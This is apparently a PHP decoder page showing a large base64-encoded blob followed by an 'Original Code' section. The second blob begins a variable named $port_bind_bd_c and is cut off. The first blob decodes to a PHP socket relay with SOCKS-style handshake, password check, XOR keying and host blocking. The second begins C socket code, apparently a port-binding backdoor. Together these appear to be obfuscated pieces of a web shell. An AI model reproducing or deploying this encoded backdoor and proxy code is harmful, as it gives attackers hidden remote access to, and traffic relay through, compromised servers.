JGkgPSAwOyAkaSA8IDQ7ICRpKyspCgkJCSRhZGRyWyRpXSA9IGNocigkYWRkclskaV0pOwoJCSRhZGRyID0gaW1wbG9kZSgnJywgJGFkZHIpOwoJICAgICAgICBzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5SRVBfV1JPTkdfQ09NTUFORC4iXHgwMFx4MDFceDAwIi4KCQkiXHgwMFx4MDBceDAwXHgwMFx4MDAiLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzJdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVsyXSAhPT0gIlx4MDAiKQoJewoJCWNsb3NlKCRpZCk7CgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9CgoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bM10pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJaWYoJHJlcW1lc3NhZ2VbJGlkXVszXSAhPT0gRE9NQUlOICYmICRyZXFtZXNzYWdlWyRpZF1bM10gIT09IElQdjQpCgl7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzRdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVszXSA9PT0gRE9NQUlOKXsKCQkkcmVxbGVuID0gb3JkKCRyZXFtZXNzYWdlWyRpZF1bNF0pKzE7CgkJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bMyskcmVxbGVuXSkpCgkJCXJldHVybiBOT1RfQUxMX0RBVEE7CgkJJGhvc3QgPSBzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgNSwgJHJlcWxlbi0xKTsKCgl9CgllbHNleyAvLyBJUCB2NAoJCSRyZXFsZW4gPSA0OwogCQlpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVszKyRyZXFsZW5dKSkKCQkJcmV0dXJuIE5PVF9BTExfREFUQTsKICAgICAgICAgICAgICAgICRob3N0ID0gYmFzZV9jb252ZXJ0KGJpbjJoZXgoJHJlcW1lc3NhZ2VbJGlkXVs0XSksIDE2LCAxMCkuJy4nLgoJCQliYXNlX2NvbnZlcnQoYmluMmhleCgkcmVxbWVzc2FnZVskaWRdWzVdKSwgMTYsIDEwKS4nLicuCgkJCWJhc2VfY29udmVydChiaW4yaGV4KCRyZXFtZXNzYWdlWyRpZF1bNl0pLCAxNiwgMTApLicuJy4KCQkJYmFzZV9jb252ZXJ0KGJpbjJoZXgoJHJlcW1lc3NhZ2VbJGlkXVs3XSksIDE2LCAxMCk7Cgl9CglpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVszKyRyZXFsZW4rMl0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7Cglzb2NrZXRfZ2V0c29ja25hbWUgKCRjbGllbnRzb2NrZXRzWyRpZF0sICRzZWxmX2FkZHIsICRzZWxmX3BvcnQpOwoKCSRzZWxmX2FkZHIgPSBleHBsb2RlKCcuJywgJHNlbGZfYWRkcik7Cglmb3IoJGkgPSAwOyAkaSA8IDQ7ICRpKyspCgkJJHNlbGZfYWRkclskaV0gPSBjaHIoJHNlbGZfYWRkclskaV0pOwoJJHNlbGZfYWRkCT0gaW1wbG9kZSgnJywgJHNlbGZfYWRkcik7Cgkkc2VsZl9wb3J0CT0gcGFjaygnbicsICRzZWxmX3BvcnQpOwoJJGlwcG9ydFskaWRdICAgID0gJHNlbGZfYWRkLiRzZWxmX3BvcnQ7CgkKCWlmKGluX2FycmF5KCRob3N0LCAkYmxvY2tlZF9ob3N0cykpewoJCQoJICAgICAgICBzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5SRVBfQkxPQ0tFRF9IT1NULiJceDAwXHgwMSIuJGlwcG9ydFskaWRdLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCSRwb3J0ID0gYmFzZV9jb252ZXJ0KGJpbjJoZXgoc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDMrJHJlcWxlbisxLCAyKSksIDE2LCAxMCk7CgkvLyBDb25uZWN0aW9uIHRvIHJlbW90ZSBob3N0CgkKCSRzZXJ2ZXJzb2NrZXRzWyRpZF0JPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCA2IC8qIFRDUCovKTsKCWlmKCRzZXJ2ZXJzb2NrZXRzWyRpZF0JPT09IEZBTFNFKXsKCQkKCSAgICAgICAgc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX1NPQ0tTX0VSUk9SLiJceDAwXHgwMSIuJGlwcG9ydFskaWRdLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCXNvY2tldF9zZXRfbm9uYmxvY2soJHNlcnZlcnNvY2tldHNbJGlkXSk7CgkvL2VjaG8gJGhvc3QuJzonLiRwb3J0OwoJc29ja2V0X2Nvbm5lY3QoJHNlcnZlcnNvY2tldHNbJGlkXSwgJGhvc3QsICRwb3J0KTsKCXVuc2V0KCRyZXFtZXNzYWdlWyRpZF0pOwoJJHNvY2tldHNfc3RhdHVzWyRpZF0JPSBTVEFUVVNfQ09OTkVDVElORzsKCSR0aW1lb3V0WyRpZF0gICAJPSB0aW1lKCk7CgkKfQoKZnVuY3Rpb24gQXV0aG9yaXphdGlvbigkaWQpewoJZ2xvYmFsCSRzZXJ2ZXJzb2NrZXRzLCAkY2xpZW50c29ja2V0cywgJHNvY2tldHNfc3RhdHVzLCAkc2V0dGluZ3MsICRyZXFtZXNzYWdlLAoJCSR0aW1lb3V0LCAkc2Vja2V5X3BvczEsICRzZWNrZXlfcG9zMjsKCSRtZXNzYWdlID0gJyc7CglpZigoJG1lc3NhZ2UgPSBnZXRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwgMTAwLCAmJHNlY2tleV9wb3MyWyRpZF0sICRpZCkpID09PSBDTE9TRURfU09DS0VUKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoJZWxzZWlmKCRtZXNzYWdlID09PSBOT19EQVRBKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CglAJHJlcW1lc3NhZ2VbJGlkXSAuPSAkbWVzc2FnZTsKCWlmKCRyZXFtZXNzYWdlWyRpZF1bMF0gIT0gIlx4MDEiKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bMV0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJJHBvcyAgICA9IG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSsyOwoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bJHBvc10pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CglpZighaXNzZXQoJHJlcW1lc3NhZ2VbJGlkXVskcG9zK29yZCgkcmVxbWVzc2FnZVskaWRdWyRwb3NdKV0pKQoJCXJldHVybiBOT1RfQUxMX0RBVEE7CgoJLy8gQXV0aG9yaXphdGlvbgoJaWYoJHNldHRpbmdzWydMT0dJTiddCSA9PT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDIsIG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSkKCSYmICRzZXR0aW5nc1snUEFTU1dPUkQnXSA9PT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sICRwb3MrMSwKCW9yZCgkcmVxbWVzc2FnZVskaWRdWyRwb3NdKSkpCgl7CgkgICAgICAgICR0aW1lb3V0WyRpZF0JCT0gdGltZSgpOwoJCXVuc2V0KCRyZXFtZXNzYWdlWyRpZF0pOwoJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFUVVFU1RSRUNWOwoJCXNlbmRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwJIlx4MDFceDAwIiwgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJfQoJZWxzZXsKCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCSJceDAxXHgwMSIsICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKCQljbG9zZSgkaWQpOwoJfQoKfQoKZnVuY3Rpb24gY2xvc2UoJGlkKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJGlwcG9ydCwgJHNlY2tleV9wb3MxLCAkc2Vja2V5X3BvczIsICRzZWNrZXk7CiAgICAgICAgc29ja2V0X2dldHBlZXJuYW1lKCRjbGllbnRzb2NrZXRzWyRpZF0sICRpcCk7CglAc29ja2V0X2Nsb3NlKCRjbGllbnRzb2NrZXRzWyRpZF0pOwogICAgICAgIHVuc2V0KCRjbGllbnRzb2NrZXRzWyRpZF0pOwoJQHNvY2tldF9jbG9zZSgkc2VydmVyc29ja2V0c1skaWRdKTsKCXVuc2V0KCRzZXJ2ZXJzb2NrZXRzWyRpZF0pOwoJdW5zZXQoJHNvY2tldHNfc3RhdHVzWyRpZF0pOwoJdW5zZXQoJHRpbWVvdXRbJGlkXSk7Cgl1bnNldCgkaXBwb3J0WyRpZF0pOwoJdW5zZXQoJHNlY2tleVskaWRdKTsKCXVuc2V0KCRzZWNrZXlfcG9zMVskaWRdKTsKCXVuc2V0KCRzZWNrZXlfcG9zMlskaWRdKTsKCQoJbWFrZWxvZygkaXAuJyBkaXNjb25uZWN0ZWQuJyk7Cn0KCmZ1bmN0aW9uIFN0YXJ0S2V5cmVjdigkaWQpewoJZ2xvYmFsCSRzZXJ2ZXJzb2NrZXRzLCAkY2xpZW50c29ja2V0cywgJHNvY2tldHNfc3RhdHVzLCAkc2V0dGluZ3MsICRyZXFtZXNzYWdlLAoJCSR0aW1lb3V0LCAkc2Vja2V5X3BvczEsICRzZWNrZXlfcG9zMiwgJHNlY2tleTsKCQkKCWlmKCRzZXR0aW5nc1snU0VDVVJFJ10gIT0gMSkKCXsKCQkkc29ja2V0c19zdGF0dXNbJGlkXQk9IFNUQVRVU19SRUNWU1RBUlRSRVE7CgkJU3RhcnQoJGlkKTsKCQlyZXR1cm4gMDsKCX0KCWlmKCgkbWVzc2FnZSA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAxMDApKSA9PT0gQ0xPU0VEX1NPQ0tFVCl7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWVsc2VpZigkbWVzc2FnZSA9PT0gTk9fREFUQSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwogICAgICAgIEAkcmVxbWVzc2FnZVskaWRdIC49ICRtZXNzYWdlOwoKCWlmKCRyZXFtZXNzYWdlWyRpZF1bMF0gIT0gIlx4MDAiKXsKCSAgICAgICAgJHNlY2tleVskaWRdICAgICAgICAgICAgPSAkc2V0dGluZ3NbJ1NFQ1VSSVRZX0tFWSddOwoJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZTVEFSVFJFUTsKCQkkcmVxbWVzc2FnZVskaWRdIAk9IHhvcl9mKCRyZXFtZXNzYWdlWyRpZF0sICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKTsKCQlTdGFydCgkaWQsIFRSVUUpOwoJCXJldHVybiAwOwogICAgICAgIH0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzRdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOy8vICAgMDAgMDEgMjggNTUKCSRsZW5ndGgJPSBiYXNlX2NvbnZlcnQoYmluMmhleChzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgMSwgNCkpLCAxNiwgMTApOwoJLy9lY2hvICRsZW5ndGg7CiAgICAgICAgaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyRpZF1bNCskbGVuZ3RoXSkpCgkJcmV0dXJuIE5PVF9BTExfREFUQTsKCQogICAgICAgICRzZWNrZXlbJGlkXQkJPSBzdWJzdHIoJHJlcW1lc3NhZ2VbJGlkXSwgNSwgJGxlbmd0aCk7CiAgICAgICAgJHNvY2tldHNfc3RhdHVzWyRpZF0JPSBTVEFUVVNfUkVDVlNUQVJUUkVROwoKICAgICAgICAkcmVxbWVzc2FnZVskaWRdCT0gc3Vic3RyKCRyZXFtZXNzYWdlWyRpZF0sIDUrJGxlbmd0aCwgMTEwKTsKICAgICAgICAKICAgICAgICAkcmVxbWVzc2FnZVskaWRdIAk9IHhvcl9mKCRyZXFtZXNzYWdlWyRpZF0sICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKTsKICAgICAgICBTdGFydCgkaWQsIFRSVUUpOwp9CgpmdW5jdGlvbiBTdGFydCgkaWQsICR3aXRob3V0Z2V0dGluZyA9IEZBTFNFKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJHNlY2tleV9wb3MxLCAkc2Vja2V5X3BvczI7CglpZigkd2l0aG91dGdldHRpbmcgPT09IEZBTFNFKXsKCQlpZigoJG1lc3NhZ2UgPSBnZXRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwgMTAsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSkgPT09IENMT1NFRF9TT0NLRVQpewoJCQljbG9zZSgkaWQpOwoJCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCQl9CgkJZWxzZWlmKCRtZXNzYWdlID09PSBOT19EQVRBKQoJCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwogICAgICAgICAgICAgICAgQCRyZXFtZXNzYWdlWyRpZF0gLj0gJG1lc3NhZ2U7Cgl9CiAgICAgICAgCiAgICAgICAKICAgICAgICAvLyBDaGVja2luZyB0aGUgcGFja2V0CiAgICAgICAgaWYoJHJlcW1lc3NhZ2VbJGlkXVswXSAhPT0gVkVSKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfSAKCgoJaWYob3JkKCRyZXFtZXNzYWdlWyRpZF1bMV0pID4gc3RybGVuKCRyZXFtZXNzYWdlWyRpZF0pIC0gMikKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJZWxzZWlmKG9yZCgkcmVxbWVzc2FnZVskaWRdWzFdKSA9PT0gc3RybGVuKCRyZXFtZXNzYWdlWyRpZF0pIC0gMil7CgkJaWYoJHNldHRpbmdzWydBVVRIJ10gIT09IDEpewoJCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5BVVRIX05PVF9SRVEsICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKCQkJdW5zZXQoJHJlcW1lc3NhZ2VbJGlkXSk7CgkJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFUVVFU1RSRUNWOwoJCQkkdGltZW91dFskaWRdICAgICAgICAgICA9IHRpbWUoKTsKCQkJcmV0dXJuIDA7CgkJfQoJCgkJaWYoc3Ryc3RyKHN1YnN0cigkcmVxbWVzc2FnZVskaWRdLCAyLCBvcmQoJHJlcW1lc3NhZ2VbJGlkXVsxXSkpLCBBVVRIX01FVEhPRCkpCgkJewoJCSAgICAgICAgJHRpbWVvdXRbJGlkXQkJPSB0aW1lKCk7CgkJCSRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZBVVRIUkVROwoJCQlzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5BVVRIX01FVEhPRCwgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJCQl1bnNldCgkcmVxbWVzc2FnZVskaWRdKTsKCQkJcmV0dXJuIDA7CgkJfQoJCWVsc2V7CgkJCXNlbmRzdHJpbmcoJGNsaWVudHNvY2tldHNbJGlkXSwJVkVSLldST05HX0FVVEhfTUVUSE9EUywgJiRzZWNrZXlfcG9zMVskaWRdLCAkaWQpOwoJCQlyZXR1cm4gMDsKCQkJY2xvc2UoJGlkKTsKCQkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7CgkJfQoJCSRzb2NrZXRzX3N0YXR1c1skaWRdID0gU1RBVFVTX1JFUVVFU1Q7CgkJcmV0dXJuIDA7Cgl9CgllbHNlewoJCWNsb3NlKCRpZCk7CgkJCgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9Cn0KCmZ1bmN0aW9uIG9uZV9hcnJheSgkZiwgJHMpewoJJG5ld19hcnJheSA9IGFycmF5KCk7Cglmb3JlYWNoKCRmIGFzICRlbHQpCgkJaWYoIWluX2FycmF5KCRlbHQsICRzKSkKCQkJYXJyYXlfcHVzaCgkbmV3X2FycmF5LCAkZWx0KTsKCXJldHVybiBhcnJheV9tZXJnZV9yZWN1cnNpdmUoJG5ld19hcnJheSwgJHMpOwoKfQoKZnVuY3Rpb24gbWFrZWxvZygkc3RyaW5nKXsKCWdsb2JhbCAkc2V0dGluZ3M7CglpZigkc2V0dGluZ3NbJ0xPR19GSUxFJ10gPT0gLTEpCgkJcmV0dXJuIEZBTFNFOwoJJGZwID0gZm9wZW4oJHNldHRpbmdzWydMT0dfRklMRSddLCAnYScpOwoJZnB1dHMoJGZwLCBkYXRlKCJkLm0uWS4gSDppOnMiKS4nICAnLiRzdHJpbmcuIlxyXG4iLgoJIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iKTsKCWZjbG9zZSgkZnApOwp9CgpmdW5jdGlvbiBzdG9wKCl7CglnbG9iYWwJJHNlcnZlcnNvY2tldHMsICRjbGllbnRzb2NrZXRzLCAkc29ja2V0c19zdGF0dXMsICRzZXR0aW5ncywgJHJlcW1lc3NhZ2UsCgkJJHRpbWVvdXQ7Cglmb3IoJGkgPSAwOyAkaSA8IHNpemVvZigkY2xpZW50c29ja2V0cyk7ICRpKyspCgkJY2xvc2UoJGkpOwoJbWFrZWxvZygnRmluaXNoITogJy4kc3RyaW5nKTsKCURJRSgpOwp9CgpmdW5jdGlvbiBlcnJvcigkc3RyaW5nKXsKCW1ha2Vsb2coJzw8RVJST1I+PjogJy4kc3RyaW5nKTsKCXN0b3AoKTsKCURJRSgpOwp9Ci8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qXAp8ICAgICAgICAgICAgICAgICAgICAgIAkgICAgIFAgUiBPIEcgUiBBIE0gTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgokc29jayA9CXNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIDYgLyogVENQKi8pIE9SCglESUUoc29ja2V0X3N0cmVycm9yKHNvY2tldF9sYXN0X2Vycm9yKCkpKTsKaWYoIXNvY2tldF9iaW5kKCRzb2NrLCAgIjAuMC4wLjAiLCAkc2V0dGluZ3NbJ1BPUlQnXSkpCgllcnJvcihzb2NrZXRfc3RyZXJyb3Ioc29ja2V0X2xhc3RfZXJyb3IoJHNvY2spKSk7CgppZighc29ja2V0X2xpc3RlbiAoJHNvY2ssICRzZXR0aW5nc1snTUFYX0NPTk5FQ1RJT05TJ10pKQoJZXJyb3Ioc29ja2V0X3N0cmVycm9yKHNvY2tldF9sYXN0X2Vycm9yKCRzb2NrKSkpOwpzb2NrZXRfc2V0X25vbmJsb2NrKCRzb2NrKTsKJG1heGNvdW50CT0gJHNldHRpbmdzWydNQVhfQ09OTkVDVElPTlMnXSArIDE7CiRzb2NrCQk9IGFycmF5KCRzb2NrKTsKCmZ1bmN0aW9uIF91c2xlZXAoJG1pbGlzZWNvbmRzKSB7CglAZnNvY2tvcGVuKCJ0Y3A6Ly9sb2NhbGhvc3QiLCAyMTYzODcyNywgJGVycm5vLCAkZXJyc3RyLCAkbWlsaXNlY29uZHMvMTAwMCk7Cn0KCgp3aGlsZShUUlVFKXsKCS8vZWNobyBzaXplb2YoJGNsaWVudHNvY2tldHMpLiJcclxuIjsKCSRyZWFkZWQgPSAkd3IgPSBhcnJheV9tZXJnZSgkc29jaywgJGNsaWVudHNvY2tldHMpOwoJaWYoc29ja2V0X3NlbGVjdCgmJHJlYWRlZCwgJiR3ciwgJGV4YyA9IE5VTEwsIDcpIDwgMSl7CiAgICAgICAgICAgCiAgICAgICAgICAgaWYoZmlsZV9leGlzdHMoJHNldHRpbmdzWydTVE9QRklMRSddKSkKICAgICAgICAgICAgICAgIHN0b3AoKTsKICAgICAgICAgICBjb250aW51ZTsKCX0KCWlmKHNpemVvZigkcmVhZGVkKSA8IDEpCgkJX3VzbGVlcCgxMDApOwoJaWYgKGluX2FycmF5KCRzb2NrWzBdLCAkcmVhZGVkKSl7CiAgCQkkY2xpZW50c29ja2V0c1tdID0gKCRjbF9zb2NrID0gc29ja2V0X2FjY2VwdCgkc29ja1swXSkpOwogIAkJc29ja2V0X2dldHBlZXJuYW1lKCRjbF9zb2NrLCAkaXApOwogIAkJbWFrZWxvZygkaXAuJyBjb25uZWN0ZWQgdG8gc2VydmVyLicpOwoJCSRpZCA9IGFycmF5X3NlYXJjaCgkY2xfc29jaywgJGNsaWVudHNvY2tldHMpOwoJCWlmKGNvdW50KCRjbGllbnRzb2NrZXRzKSA+PSAkbWF4Y291bnQpewoJCQlzb2NrZXRfY2xvc2UoJGNsX3NvY2spOwoJCQl1bnNldCgkY2xpZW50c29ja2V0c1skaWRdKTsKCQkJbWFrZWxvZygnQ29ubmVjdGlvbiB3aXRoICcuJGlwLicgaGFzIGJlZW4gYWJvcnRlZCBieSBzZXJ2ZXIuICcuCgkJCSdSZWFzb246IHRvbyBtYW55IGNvbm5lY3Rpb25zLicpOwoJCX0KCQllbHNlaWYoaW5fYXJyYXkoJGlwLCAkYmxvY2tlZF91c2VycykpewoJCQlzb2NrZXRfY2xvc2UoJG5ld3NvY2spOwoJCQl1bnNldCgkY2xpZW50c29ja2V0c1skaWRdKTsKCQkJbWFrZWxvZygnQ29ubmVjdGlvbiB3aXRoICcuJGlwLicgaGFzIGJlZW4gYWJvcnRlZCBieSBzZXJ2ZXIuICcuCgkJCSdSZWFzb246IGJhbm5lZCB1c2VyLicpOwoJCX0KCQllbHNlewoJICAgICAgICAgICAgICAgIHNvY2tldF9zZXRfbm9uYmxvY2soJGNsX3NvY2spOwoJICAgICAgICAgICAgICAgICRzb2NrZXRzX3N0YXR1c1skaWRdCT0gU1RBVFVTX1JFQ1ZTRUNLRVk7CgkgIAkJJHNlY2tleV9wb3MxWyRpZF0JPSAwOwoJCQkkc2Vja2V5X3BvczJbJGlkXQk9IDA7CgkJfQoKCQkka2V5ID0gYXJyYXlfc2VhcmNoKCRzb2NrWzBdLCAkcmVhZGVkKTsKCgkJdW5zZXQoJHJlYWRlZFska2V5XSk7Cgl9CgkkYXJyYXlfc3RhdHVzID0gb25lX2FycmF5KCRyZWFkZWQsICR3cik7Cglmb3JlYWNoKCRhcnJheV9zdGF0dXMgYXMgJHNvY2tldCl7CgkJJGlkID0gYXJyYXlfc2VhcmNoKCRzb2NrZXQsICRjbGllbnRzb2NrZXRzKTsKCQlpZigkaWQgPT09IEZBTFNFKQoJCQkkaWQgPSBhcnJheV9zZWFyY2goJHNvY2tldCwgJHNlcnZlcnNvY2tldHMpOwoJCWlmKCRpZCA9PT0gRkFMU0UpCgkJCWNvbnRpbnVlOwoJCXN3aXRjaCAoJHNvY2tldHNfc3RhdHVzWyRpZF0pewoJCQljYXNlIFNUQVRVU19SRUNWU0VDS0VZOgoJCQkgICAgICAgIFN0YXJ0S2V5cmVjdigkaWQpOwoJCQkJYnJlYWs7CgkgCQljYXNlIFNUQVRVU19SRUNWQVVUSFJFUToKCSAJCSAgICAgICAgaWYodGltZSgpIC0gJHRpbWVvdXRbJGlkXSA+PSAkc2V0dGluZ3NbJ0FVVEhfVElNRU9VVCddKQoJCQkJeyAgICAgICAvL2VjaG8gJ2FhYWFhJzsKCQkJCSAJY2xvc2UoJGlkKTsKCQkJCSAJYnJlYWs7CgkJCQl9CgkJCQlBdXRob3JpemF0aW9uKCRpZCk7CgkJCQlicmVhazsKCSAJCWNhc2UgU1RBVFVTX1JFUVVFU1RSRUNWOgoKCQkJCUJyaWRnZUVzdGFibGlzaDEoJGlkKTsKCQkJCWJyZWFrOwoJCQljYXNlIFNUQVRVU19SRUNWU1RBUlRSRVE6CgkJCQlTdGFydCgkaWQpOwoJCQkJCQoJCQkJYnJlYWs7CgkJCWNhc2UgU1RBVFVTX0NPTk5FQ1RJTkc6CgoJCQkJaWYodGltZSgpIC0gJHRpbWVvdXRbJGlkXSA+PSAkc2V0dGluZ3NbJ0NPTk5FQ1RfVElNRU9VVCddKQoJCQkJewoJCQkJCS8vc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX0JBRF9IT1NULgoJCQkJCS8vIlx4MDBceDAxIi4kaXBwb3J0WyRpZF0pOwoJCQkJCWNsb3NlKCRpZCk7CgkJCQkgCWJyZWFrOwoJCQkJfQoJCQkJLy8gY2hlY2tpbiByZW1vdGUgaG9zdAoJCQkJJGV4ciA9ICRld3IgPSBhcnJheSgkc2VydmVyc29ja2V0c1skaWRdKTsKCQkJCWlmKHNvY2tldF9zZWxlY3QoJGV4ciwgJGV3ciwgJGV4YyA9IE5VTEwsIDApID4gMCkKCSAJCQkJQnJpZGdlRXN0YWJsaXNoMigkaWQpOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6IC8vIFNUQVRVU19XT1JLSU5HCgkJCSAgICAgICAgJG1lcyA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCA4MDI0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkbWVzID09PSBDTE9TRURfU09DS0VUKXsKCQkJCQljbG9zZSgkaWQpOwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWlmKCRtZXMgIT09IE5PX0RBVEEgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCQkJCQlpZihzZW5kc3RyaW5nKCRzZXJ2ZXJzb2NrZXRzWyRpZF0sICRtZXMsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSA9PT0gRkFMU0UpewoJCQkJCQljbG9zZSgkaWQpOwoJCQkJCQlicmVhazsKCQkJCQl9CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXMgPSBnZXRzdHJpbmcoJHNlcnZlcnNvY2tldHNbJGlkXSwgODAyNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJG1lcyA9PT0gQ0xPU0VEX1NPQ0tFVCl7CgkJCQkJY2xvc2UoJGlkKTsKCQkJCQlicmVhazsKCQkJCX0KCQkJCWlmKCRtZXMgIT09IE5PX0RBVEEpCgkJCQkJaWYoc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAkbWVzLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCkgPT09IEZBTFNFKXsKCQkJCQkJY2xvc2UoJGlkKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoKCQkJfQoJCQkJCgoKCgl9CglpZihyYW5kKDEsNSkgPT0gNSkKCQlpZihmaWxlX2V4aXN0cygkc2V0dGluZ3NbJ1NUT1BGSUxFJ10pKQoJCQlzdG9wKCk7Cn0KCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCj8+Cg==";
?>
Did this file decode correctly?
Original Code
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
